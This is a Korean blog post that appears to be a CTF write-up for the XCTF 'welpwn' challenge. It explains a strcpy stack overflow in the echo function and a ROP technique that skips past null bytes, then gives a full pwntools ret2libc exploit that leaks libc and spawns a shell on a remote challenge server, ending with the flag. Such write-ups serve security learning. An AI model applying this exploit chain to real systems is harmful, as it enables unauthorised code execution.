-
Disassembly 디스어셈블리
undefined8 main(void) { void *buf; write(1, "Welcome to RCTF\n", 0x10); fflush(_reloc.stdout); read(0, &buf, 0x400); echo(&buf); return 0; }
main은 0x400바이트를 입력받아 echo를 호출한다.
void echo(char *dest) { char *dest; // rbp-0x10 strcpy(dest, src); // stack buffer overflow if (strcmp("ROIS", dest) == 0) { printf("RCTF{Welcome}"); puts(" is not flag"); } printf("%s", dest); return; }
echo에서는 전달된 인자를 dest에 복사한다.
Return Oriented Programming
버퍼 오버플로우를 이용할 때, echo 함수에서 null 바이트를 만나면 복사가 중단되기 때문에 ROP를 바로 진행할 수 없다. 일단 dest가 rbp-0x10에 위치하므로 첫 0x18바이트를 아무렇게나 채우고 return address를 무언가로 덮어쓸 것이다. 그 후 echo 함수가 종료될 때 스택은 다음과 같을 것이다.
src가 rsp 바로 위에 붙어있는 것을 확인할 수 있고, 그렇다면 적절한 가젯을 통해 dummy 이후의 src+0x18 영역의 정보를 ROP에 사용할 수 있을 것이다. 예를 들어, return address를 'pop pop pop pop ret' 가젯으로 덮었을 때 rsp의 변화는 다음과 같다.
가젯이 실행된 이후 rsp는 src+0x20으로 이동하므로 null 바이트를 신경쓰지 않고 ROP를 진행할 수 있다.
ppppr = 0x40089c prdi = r.find_gadget(['pop rdi', 'ret'])[0] puts_plt = e.plt["puts"] puts_got = e.got["puts"] write_got = e.got["write"] main = e.symbols["main"] payload = b"A"*0x18 payload += p64(ppppr) payload += p64(prdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(prdi) payload += p64(write_got) payload += p64(puts_plt) payload += p64(main) p.recvuntil("\n") p.send(payload) p.recvline() p.recv(0x1b) puts = u64(p.recvline().strip().ljust(8, b"\x00")) write = u64(p.recvline().strip().ljust(8, b"\x00")) log.info("puts : " + hex(puts)) log.info("write : " + hex(write))
이제 위와 같이 라이브러리 버전을 알아낸 다음 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./welpwn" lib = "../../lib/libc6_2.23-0ubuntu11_amd64.so" server = "111.200.241.244" port = 47911 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() ppppr = 0x40089c prdi = r.find_gadget(['pop rdi', 'ret'])[0] puts_plt = e.plt["puts"] puts_got = e.got["puts"] write_got = e.got["write"] main = e.symbols["main"] payload = b"A"*0x18 payload += p64(ppppr) payload += p64(prdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main) p.recvuntil("\n") p.send(payload) p.recvline() p.recv(0x1b) puts = u64(p.recvline().strip().ljust(8, b"\x00")) libc = puts - l.symbols["puts"] log.info("libc : " + hex(libc)) binsh = libc + next(l.search(b"/bin/sh\x00")) system = libc + l.symbols["system"] payload = b"A"*0x18 payload += p64(ppppr) payload += p64(prdi) payload += p64(binsh) payload += p64(system) p.send(payload) p.interactive()
Flag
cyberpeace{c84717e3986e444531915c01a6a8a276}
'CTF > XCTF' 카테고리의 다른 글
Recho (0) 2021.02.11 pwn-100 (0) 2021.02.11 Mary_Morton (0) 2021.02.11 int_overflow (0) 2021.01.21 level2 (0) 2021.01.16